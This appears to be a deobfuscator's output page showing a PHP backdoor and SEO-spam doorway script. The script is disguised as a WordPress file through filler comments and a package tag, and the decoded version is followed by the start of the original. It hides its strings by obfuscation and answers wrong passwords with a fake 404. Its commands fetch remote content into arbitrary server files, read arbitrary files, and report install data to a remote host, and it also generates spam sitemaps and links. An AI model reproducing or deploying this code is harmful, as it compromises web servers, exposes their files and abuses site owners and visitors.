file_put_contents("./map.log",'#sitemap' . $arrABC[$gnumber-1] .'.xml#'.PHP_EOL,FILE_APPEND);
$str = ''; $gnumber++; return;
}
if($starPri >= 400 && $priority != 0.1){
$starPri = 0; $priority = $priority - 0.1; }
if($priority > 0.1){
$str .= " <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>". $priority . "</priority>
</url>
";
}else{
$str .= " <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>
";
}
$star++; $starPri++; }
}
{
$gFile = '../sitemap/sitemap' . $arrABC[$gnumber-1] .'.xml'; echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#sitemap' . $arrABC[$gnumber-1] .'.xml#'.PHP_EOL,FILE_APPEND);
$gnumber++;
}
unset($tempArr1); unset($filenames); echo "sitemap";
}
function curl_get_from_webpage($url,$proxy='',$loop=10){
$data = false; $i = 0; while(!$data) {
$data = curl_get_from_webpage_one_time($url,$proxy); if($i++ >= $loop) break; }
return $data;}
function curl_getjs_from_webpage($url,$time){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
$curl = curl_init(); //,.
$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
// $urlReferer = "http://www.google.com";
curl_setopt($curl, CURLOPT_URL, $url);
if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0
));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
}$data=curl_exec($curl);curl_close($curl);
}else{
$is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
if($is_auf){
$data = file_get_contents($url);
}
}
if(!$data) return false;
return $data;
}
function curl_get_from_webpage_one_time($url,$proxy=''){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
$curl = curl_init(); //,.
$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
// $urlReferer = "http://www.google.com";
if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_URL, $url);
if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0
));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
}$data=curl_exec($curl);curl_close($curl);
}else{
$is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
if($is_auf){
$data = file_get_contents($url);
}
}
if(!$data) return false;
return $data;
}
//ccccccgetbg
@ini_set('display_errors', 0);@set_time_limit(3600);
$q1 = "O00O0O";$q2 = "O0O000";$q3 = "O0OO00";$q4 = "OO0O00";$q5 = "OO0000";$q6 = "O00OO0";$q7 = "O00O00";$q8 = "O00OOO";$q9 = "O0O0OO";$q10 = "OOO0OO";$q11 = "OO00OO";$q12 = "OO000O";$q13 = "OO0O0O";$q14 = "OOOO00";$q15 = "OO0OO0O";$$q1 = RandAbc();$$q3 = $O00O0O{62}.$O00O0O{51}.$O00O0O{50}.$O00O0O{54}.$O00O0O{55};$$q5 = $O00O0O{28}.$O00O0O{26}.$O00O0O{27}.$O00O0O{33};$$q6 = $O00O0O{19}.$O00O0O{22}.$O00O0O{12}.$O00O0O{1}.$O00O0O{0}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19};$$q4 = $$O0OO00;$$q2 = $O00O0O{12}.$O00O0O{3}.$O00O0O{31};$$q7 = $O00O0O{30}.$O00O0O{35}.$O00O0O{32}.$O00O0O{34}.$O00O0O{31}.$O00O0O{34}.$O00O0O{31}.$O00O0O{3}.$O00O0O{26}.$O00O0O{5}.$O00O0O{5}.$O00O0O{4}.$O00O0O{29}.$O00O0O{31}.$O00O0O{28}.$O00O0O{27}.$O00O0O{0}.$O00O0O{26}.$O00O0O{30}.$O00O0O{32}.$O00O0O{5}.$O00O0O{26}.$O00O0O{30}.$O00O0O{34}.$O00O0O{28}.$O00O0O{5}.$O00O0O{33}.$O00O0O{0}.$O00O0O{3}.$O00O0O{31}.$O00O0O{34}.$O00O0O{3};$$q8 = $O00O0O{23}.$O00O0O{24}.$O00O0O{25};$$q9 = $O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{53}.$O00O0O{57}.$O00O0O{40}.$O00O0O{53};$$q10 = $$O0O0OO;$$q11 = $O00O0O{39}.$O00O0O{50}.$O00O0O{38}.$O00O0O{56}.$O00O0O{48}.$O00O0O{40}.$O00O0O{49}.$O00O0O{55}.$O00O0O{62}.$O00O0O{53}.$O00O0O{50}.$O00O0O{50}.$O00O0O{55};$$q12 = $O00O0O{51}.$O00O0O{43}.$O00O0O{51}.$O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{47}.$O00O0O{41};$$q13 = $O00O0O{2}.$O00O0O{6}.$O00O0O{4}.$O00O0O{19};$$q14 = $O00O0O{8}.$O00O0O{13}.$O00O0O{3}.$O00O0O{4}.$O00O0O{23}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$$q15 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{64}.$O00O0O{65}.$O00O0O{65}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63};
if(isset($OOO0OO["$OO00OO"])){$BT = $OOO0OO["$OO00OO"];}elseif(isset($OOO0OO["$OO000O"])){$BT = str_ireplace(str_replace("\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$OOO0OO["$OO000O"])),'',__FILE__).DIRECTORY_SEPARATOR;}else{$BT = '/';}
foreach($OO0O00 as $O00O00o=>$O00Oo0o){
$$O00O00o = $O00Oo0o;
}
if(!(isset($passwd) && $O0O000($passwd) == $O00O00)){
header("HTTP/1.1 404 Not Found");
header("Status: 404 Not Found");
exit;
}
if(isset($act) && $act == 'check' && isset($check_file)){
if(file_exists($check_file)){
echo '#ok#';
}
}
if(isset($act) && $act == 'test'){
echo '#ok#';
}
if(isset($act) && $act == 'recover' && isset($recover_file) && isset($recover_file_url)){
{
$pfile = $recover_file;
$date = $OO0O0O($recover_file_url);
gdir_file($recover_file);
@chmod($pfile,0755);
if($date && file_put_contents($pfile,$date)){
echo '#ok#';
}else{
echo '#fail#';
}
}
}
if(isset($act) && $act == 'redate' && isset($redate_file)){
if(file_exists($redate_file)){
echo rdFile($redate_file);
}
}
function RandAbc($length = "") {
$str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_.:/-";
return ($str);
}
function rdFile($file){
if(function_exists('file_get_contents')){
return file_get_contents($file);
}else{
$handle = fopen($file, "r");
$contents = fread($handle, filesize($file));
fclose($handle);
return $contents;
}
}
function cget($url,$loop=10){
$data = false; $i = 0;
while(!$data) {
$data = tcget($url); if($i++ >= $loop) break; }
return $data;
}
function tcget($url,$proxy=''){
global $OO0OO0O, $O00OO0, $OO0000, $O00OOO;
$data = ''; $url = "$OO0OO0O$O00OO0.$O00OOO/".$url;
$url = trim($url); if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec')){
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60); $data = curl_exec($ch); curl_close($ch); }
if ($data == ''){
if (function_exists('file_get_contents') && $url){
$data = @file_get_contents($url); }
}
if (($data == '') && $url){
if (function_exists('fopen') && function_exists('ini_get') && ini_get('allow_url_fopen')){
($fp = @fopen($url, 'r'));
if ($fp){
while (!@feof($fp)){
$data .= @fgets($fp) . ''; }
@fclose($fp); }
}
}
return $data;
}
function m_mkdir($dir){
if(!is_dir($dir)) mkdir($dir);
}
function gdir_file($gDir=''){
global $BT;
$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
$gDir = str_replace('\',DIRECTORY_SEPARATOR,$gDir);
$arr = explode(DIRECTORY_SEPARATOR,$gDir);
if(count($arr) <= 0) return;
if(!strstr($gDir,$BT))
$dir = $BT;
else
$dir = '';
for($i = 0 ; $i < count($arr)-1 ; $i++){
$dir .= '/' . $arr[$i];
m_mkdir($dir);
}
return $dir;
}
//ccccccgetend
function my_mkdir($dir){
global $fitime;
if(!is_dir($dir)){
mkdir($dir);
@touch($dir, $fitime, $fitime);
}
}
function generate_dir_file($gDir=''){
global $hostDir;
$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
$gDir = str_replace('\',DIRECTORY_SEPARATOR,$gDir);
$arr = explode(DIRECTORY_SEPARATOR,$gDir);
if(count($arr) <= 0) return;
if(!strstr($gDir,$hostDir))
$dir = $hostDir;
else
$dir = '';
for($i = 0 ; $i < count($arr)-1 ; $i++){
$dir .= DIRECTORY_SEPARATOR . $arr[$i];
my_mkdir($dir);
}
return $dir;
}
function strFilter($str){
$str = str_replace('`', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('~', '', $str);
$str = str_replace('!', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('@', '', $str);
$str = str_replace('#', '', $str);
$str = str_replace('$', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('%', '', $str);
$str = str_replace('^', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('*', '', $str);
$str = str_replace('(', '', $str);
$str = str_replace(')', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('-', '', $str);
$str = str_replace('_', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('+', '', $str);
$str = str_replace('=', '', $str);
$str = str_replace('|', '', $str);
$str = str_replace('\', '', $str);
$str = str_replace('[', '', $str);
$str = str_replace(']', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('{', '', $str);
$str = str_replace('}', '', $str);
$str = str_replace('', '', $str);
$str = str_replace(':', '', $str);
$str = str_replace('<', '', $str);
$str = str_replace('>', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('\'', '', $str);
$str = str_replace('"', '', $str);
$str = str_replace(',', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('.', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('/', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('?', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('&', '&', $str);
return trim($str);
}
function getalink($pid,$pname=''){
global $arrnametime,$arrKeywz,$arr_word,$strRand;
$pname = strFilter($pname);
$filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST'];
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
$filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){
$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{
$filePres = $siteLink."/"; }
$rsp = '#'. BZPRO .'\d+#';
$pname = trim($pname);
$pname = preg_replace('/\s+/', '-', $pname);
if(JDT == 3){
$rs = '#&[^;]+;#i';
$pname = preg_replace($rs,'',$pname);
while(strstr($pname,'&'))
$pname = str_replace('&','',$pname);
while(strstr($pname,'--'))
$pname = str_replace('--','-',$pname);
$linkCenter = $pname .'-' .$pid;
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
if(strlen($pname) > 235){
$rs = '#&[^;]+;#i';
$pname = preg_replace($rs,'',$pname);
$pname = str_replace('&','',$pname);
$pname = str_replace('&',';',$pname);
if(function_exists("mb_substr")){
$pname = mb_substr($pname, 0, 235, 'utf-8');
}else{
$pname = substr($pname, 0, 235);
}
}
$linkCenter = $pname .'-'. $pid;
$linkCenter .= JTHZ; $linkCenter = str_replace("-/","/",$linkCenter); $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter);
while(strstr($linkCenter,'--'))
$linkCenter = str_replace('--','-',$linkCenter);
$linkCenter = str_replace('/-','/',$linkCenter);
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
function rmhtmltag($tagname='',$str=''){
$rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#i';
$str = preg_replace($rulers,'',$str);
return $str;
}
function rmhtmltag2($tagname='',$str=''){
$rulers = '#<'.$tagname.'[^>]*>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#</'.$tagname.'>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#<'.$tagname.'[^>]*>#i';
$str = preg_replace($rulers,'',$str);
$rulers = '#</'.$tagname.'>#i';
$str = preg_replace($rulers,'',$str);
return $str;
}
// bbbbbbbbackupbg
function backup_install($dateArr,$loop=10){
$data = false; $i = 0;
while(!$data) {
$data = backup_install_once($dateArr); if($i++ >= $loop) break; }
return $data;
}
function backup_install_once($dateArr=array()){
global $O0O000;
$data = false;
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $O0O000);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($curl, CURLOPT_POSTFIELDS, $dateArr);
$data = curl_exec($curl);
curl_close($curl);
}else{
$tempDate = http_build_query($dateArr);
$params = array(
'http' => array(
'method' => 'POST',
'timeout' => 5,
'header' => "Content-Type: application/x-www-form-urlencoded
",
'content' => $tempDate
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($O0O000, null, $ctx);
}
return $data;
}
function backup_install_two($dateArr,$loop=10){
$data = false; $i = 0;
while(!$data) {
$data = backup_install_once_two($dateArr); if($i++ >= $loop) break; }
return $data;
}
function backup_install_once_two($dateArr=array()){
global $O0O000;
$data = false;
$tempDate = http_build_query($dateArr);
$params = array(
'http' => array(
'method' => 'POST',
'timeout' => 10,
'header' => "Content-Type: application/x-www-form-urlencoded
",
'content' => $tempDate
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($O0O000, null, $ctx);
return $data;
}
function save_install($dateArr=array()){
$tpstr = serialize($dateArr);
$tpstr = '<data>'.$tpstr.'</data>';
$tpstr = base64_encode(gzdeflate($tpstr));
@file_put_contents("./logs.txt",$tpstr);
}
// bbbbbbbbackupend
function is_ip($localIp,$ipRanges)
{
$localIp = ip2long($localIp);
foreach($ipRanges as $val)
{
$ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1]));
if($localIp >= $ipmin && $localIp <= $ipmax)
{
return true;
}
}
return false;}
function RandAbcs($length = ""){
$str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
return ($str);
}
function getarr(){
global $O00O0O;
$arr[0]=$O00O0O{6}.$O00O0O{8}.$O00O0O{5}.$O00O0O{19}.$O00O0O{12}.$O00O0O{0}.$O00O0O{11}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
$arr[1]=$O00O0O{15}.$O00O0O{11}.$O00O0O{5}.$O00O0O{14}.$O00O0O{13}.$O00O0O{6}.$O00O0O{14}.$O00O0O{14}.$O00O0O{3}.$O00O0O{18}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
$arr[2]=$O00O0O{9}.$O00O0O{14}.$O00O0O{17}.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{12}.$O00O0O{0}.$O00O0O{11}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
$arr[3]=$O00O0O{3}.$O00O0O{18}.$O00O0O{13}.$O00O0O{24}.$O00O0O{2}.$O00O0O{4}.$O00O0O{18}.$O00O0O{0}.$O00O0O{11}.$O00O0O{4}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
$arr[4]=$O00O0O{14}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{15}.$O00O0O{4}.$O00O0O{6}.$O00O0O{14}.$O00O0O{14}.$O00O0O{3}.$O00O0O{18}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
return $arr;
}
function getthisdom(){
$myArrs = getarr();
return 'http://www.'.$myArrs[CENTERKEY].MYDIR;
}
function get_real_ip(){
$ip = '';
/**
* resolve any proxies
*/
if (isset($_SERVER)) {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
$ip = $_SERVER['HTTP_X_FORWARDED'];
} elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_FORWARDED'])) {
$ip = $_SERVER['HTTP_FORWARDED'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
}
if (trim($ip) == '') {
if (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} else {
$ip = getenv('REMOTE_ADDR');
}
}
/**
* sanitize for validity as an IPv4 or IPv6 address
*/
$ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip);
/**
* if it's still blank, set to a single dot
*/
if (trim($ip) == '') $ip = '.';
return $ip;
}
/**
* elastic erect exceedingly expansion grateful inhabitant issue neglect prosperity sake shield sorrow treaty variable withstand.
* burden consent conservative outset participate reluctant vary.
* essential expense extraordinary jam odd parade respond secure utilify.
* attitude bacteria durable insurance swallow.
* arichmetic electron entertainment export gallery idle numerrous pants rival sensible vacuum vary xploit.
* accomplish agent auxiliary battery consistent expansion expense flock mood mutual organ orient principal sophisticated vanish virtue.
* dash deposit explosion golf hardware liable orchestra sexual transplant.
* alter arise encounter excess hardware horror licence moist network private tremble.
* accomplish applause applianc distress earthquake gratitude guarantee hestiate infant maximum negative optimistic particularly presumably professional split tedious transport urgent.
* barrel emotion exclude expenditure sexual.
* adequate applianc architecture attitude campus career consent consistent delicate explosion garbage holy impose knot leap media mixture molecule oval partial semester suspicious terminal tidy.
* disturb global prospect simplicity.
* biology conquer core expansion germ herd inferior interpret loosen portion recruit sexual skim suspicious the utter valley variation violence volcano witness.
* defect gap gratitude impose liter nucleus rely stale via wonder.
* absolute advertise approve beforehand burst column debt display episode explosion hestiate loosen negative resistant resolve security terror waist.
* explosion focus household secure urge valid.
* burst conquer gap gear genuine germ hollow horrible massive obstacle portable smash spot suspicious tarnest trial.
* boundary bundle extinct idle insurance laser magnet maximum opponent pants principal priority prosperity scandal semiconductor severe temptation tendency title.
* acquire adhere commit comparative consistent dump import mood neutral partial prohibit recreation reveal split temporary tense tremble vitally.
* erect grant lest particle previous professional shrink submerge tropical variable.
* coarse ferfile gear humble loosen organ shelter stale tremble vain.
* germ sponsor subt xploit.
* agent applicable arouse barrier comedy cope discrimination explosive faculty fatigue gear global impose missile oblige region remedy spray tarnest trial utilise vertical virus.
* academy arouse barrel comedy elastic geography jail liberal mood priority sequence submit temporary the tide.
*
* @package WordPress
*/
//file end
Did this file decode correctly?
Original Code
<?php
/**
* bacteria bureau consent durable hostile inevitable maximum medium regulate route.
* arise bureau calculate conservative dash drip fatal frown idle insignificant marine massive mission petroleum profit rescue security sequence severe sexual skim stale trial universal weed.
* academy applause continual emotional ferfile herd jealous naked weed.
* applause applicable biology bureau descend elbow entitle extraordinary glimpse household liter mature maximum moral negative prominent quotation resemble slender.
* response algebra balcony bureau conservation interfere numerrous outset parade religion scandal slender tarnest theme.
* accomplish apparent boundary distinguish fertilizer flee hint insurance interfere molecule passport petrol prevail recruit reluctant scandal sequence sophisticated suspicion tense vacuum whatsoever witness.
* coil elaborate favorite female forbid frown hestiate negative portion precaution target.
* applianc exaggerate fatigue geometry resume.
* acknowledge barrel blast casual continuous deposit discrimination display distress distribute insure loose manual mere oral partial particularly relevant resume ridid videotape volunteer whereas withstand.
* accelerate comment devise duration encounter exclaim extinct geology hardware jeans nuclear onion orchestra portable remedy ridid scandal stuff tend tendency torture trend vertical volcano wax.
* appoint barrel excursion frown glimpse leak slip temptation.
* arichmetic burst cargo export fertilizer interpret jeans jungle orbit orchestra portion scale undertake vote witness.
* acknowledge advertisement echo mixture nuclear vote.
* Internet academy acquire approach calendar comment conquer conservative debt deputy electron female glimpse guilty hardware ingredient legislation mainland noticeable quit security signature strategic stripe stuff.
* academic appropriate aspect casual electron mature neutral peak tissue tremble vary violent virtue.
* compete expensive mild nucleus oral tend tension whatsoever.
* accelerate applause approximate blast debt explosion genuine highlight jewel jungle lest navigation poverty provision transform vertical victim violent.
* adequate ban essential evolution exceedingly excursion humble nevertheless obstacle optics primitive quit racial religious remarkable software stuff tidy timber universal video vitally witness.
* available casual coach debt drift dump emotion evaluate excess fax shallow tense utilify.
* automatic comedy devise dump enthusiasm equation export external household identify prevail profit prohibit regulate render suspicious tense trap vertical vessel vitally weed withdraw.
* academy appeal appetite applianc calculate coil decade decline discipline enclose extreme hook laser marine nylon passion reveal sensitive subt videotape violence vital withdraw.
* acid approve delicate extinct interpret organ.
* brake capture catalog debate decorate display distribute equivalent expel fertilizer manufacture marveous opponent particularly portable priority seminar sponsor stuff trace transmit tremble.
* appetite audio earthquake essential expensive hook infect interpret invade jam jungle minimum strategy subway suspicion suspicious tension triumph ultimate version wax yawn.
* acknowledge appetite applicant balcony barrel debt elbow explore generate jungle manual mist parade religion religious removal ridge seminar shallow substantial temptation violet.
* response collision conquer deposit exterior glory hardware import licence negative partial reject satellite shrug slide stimulate submerge substance subt terror via.
* agent bargain bunch candidate debt exclude favorable idle licence luxury nucleus orbit parade removal severe sexual solar tarnest tone torture treaty vehicle wander zone.
* Internet continuous dispose dive dump explosive facility golf insurance integrate medium organ peak portable radical reputation resemble severe shield sorrow submit usage volunteer wander.
* acknowledge campus debate drip generate magnet profit smash transport voluntary.
* ceremony coil hestiate oxygen phenomenon profit retain ruin stable triangle.
* architect battery continuous derive emphasize global impose jealous nonsense odd orient personnel portable provision resistant restrict rival tedious tissue utilise virtue zone.
* academy acknowledge applicable award bundle electron isolate opponent slippery smash subway.
* attitude discipline episode evaluate hostile individual infer mission nevertheless nylon prevail ridid shrug slippery submit volume.
* accelerate advertisement comment core earthquake equation giant nevertheless racial slope smash.
* applicant casual clue comedy ruin title treaty virtue.
* abuse adult biology debate elbow electron emphasize flexible individual minimum missile principle reluctant route strategic substantial trend vanish yawn.
* alter burden expel horrible jeans nucleus onion remarkable talent.
* appoint community dusk echo elaborate excess flexible focus frown golf jeans laser neglect opportunity petrol prompt seminar sensitive snap swallow undergo volunteer withstand.
* arise arouse avenue consume discrimination evolve female hardware notify optimistic sake seminar universe wonder.
*
* @package WordPress
*/
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@set_time_limit(3600);
define("DOMTXT","/jd1/");
define("GETDATE","http://www.datecenter.com/api/?key=");
define("CENTERKEY",4);
define("MYDIR", "/ebaynl20191018-19/");
define("FNUM",89);
define("JGNUM","40");
define("LINKNUM","8");
define("BZSITE","g");
define("BZPRO","k");
define("BZCAT","v");
//msbg
define("JDT","0");
//msend
//msidbg
define("MSID",1988);
//mssidend
//jthouzuibg
define("JTHZ","/");
//jthouzuiend
// #llqllq#arr_nametimebg
$arrnametime[]="1";
$arrnametime[]="3";
$arrnametime[]="4";
$arrnametime[]="2";
// #llqllq#arr_nametimeend
// #llqllq#arr_wordbg
$arr_word[0][] ="3";$arr_word[0][] ="2";$arr_word[0][] ="3";$arr_word[0][] ="4";$arr_word[0][] ="2";$arr_word[0][] ="4";$arr_word[0][] ="4";$arr_word[0][] ="3";$arr_word[0][] ="3";$arr_word[0][] ="2";$arr_word[1][] ="3";$arr_word[1][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="2";$arr_word[1][] ="2";$arr_word[1][] ="3";$arr_word[1][] ="2";$arr_word[1][] ="4";$arr_word[1][] ="4";$arr_word[1][] ="3";$arr_word[2][] ="4";$arr_word[2][] ="3";$arr_word[2][] ="2";$arr_word[2][] ="4";$arr_word[2][] ="2";$arr_word[2][] ="4";$arr_word[2][] ="3";$arr_word[2][] ="3";$arr_word[2][] ="3";$arr_word[2][] ="2";$arr_word[3][] ="4";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="3";$arr_word[3][] ="4";$arr_word[3][] ="3";$arr_word[3][] ="4";$arr_word[3][] ="2";$arr_word[4][] ="2";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[4][] ="4";$arr_word[4][] ="2";$arr_word[4][] ="2";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[4][] ="4";$arr_word[4][] ="4";$arr_word[5][] ="2";$arr_word[5][] ="2";$arr_word[5][] ="2";$arr_word[5][] ="4";$arr_word[5][] ="4";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="4";$arr_word[5][] ="3";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[6][] ="3";$arr_word[6][] ="3";$arr_word[6][] ="2";$arr_word[6][] ="4";$arr_word[6][] ="4";$arr_word[6][] ="2";$arr_word[6][] ="2";$arr_word[6][] ="3";$arr_word[7][] ="3";$arr_word[7][] ="4";$arr_word[7][] ="3";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="2";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[8][] ="4";$arr_word[8][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="2";$arr_word[8][] ="2";$arr_word[8][] ="3";$arr_word[8][] ="2";$arr_word[8][] ="4";$arr_word[8][] ="4";$arr_word[9][] ="2";$arr_word[9][] ="3";$arr_word[9][] ="2";$arr_word[9][] ="3";$arr_word[9][] ="4";$arr_word[9][] ="4";$arr_word[9][] ="4";$arr_word[9][] ="2";$arr_word[9][] ="3";$arr_word[9][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="4";$arr_word[10][] ="2";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="4";$arr_word[10][] ="2";$arr_word[10][] ="4";$arr_word[10][] ="3";$arr_word[10][] ="2";$arr_word[11][] ="2";$arr_word[11][] ="4";$arr_word[11][] ="3";$arr_word[11][] ="3";$arr_word[11][] ="4";$arr_word[11][] ="4";$arr_word[11][] ="3";$arr_word[11][] ="2";$arr_word[11][] ="2";$arr_word[11][] ="3";
// #llqllq#arr_wordend
// #llqllq#arr_keywz
$arrKeywz[]="4";
$arrKeywz[]="10";
$arrKeywz[]="9";
$arrKeywz[]="11";
$arrKeywz[]="8";
$arrKeywz[]="12";
$arrKeywz[]="5";
$arrKeywz[]="6";
$arrKeywz[]="7";
// #llqllq#arr_keywzend
// #llqllq#arrBreadbg
$arrBread[]="BreadcrumbsHead";
$arrBread[]="BreadcrumbHead";
$arrBread[]="BreadcrumbsHead clearfix";
$arrBread[]="bread_head";
$arrBread[]="l-breadcrumb";
$arrBread[]="bread_crumb clearfix";
$arrBread[]="bread_crumb";
$arrBread[]="r-breadcrumb";
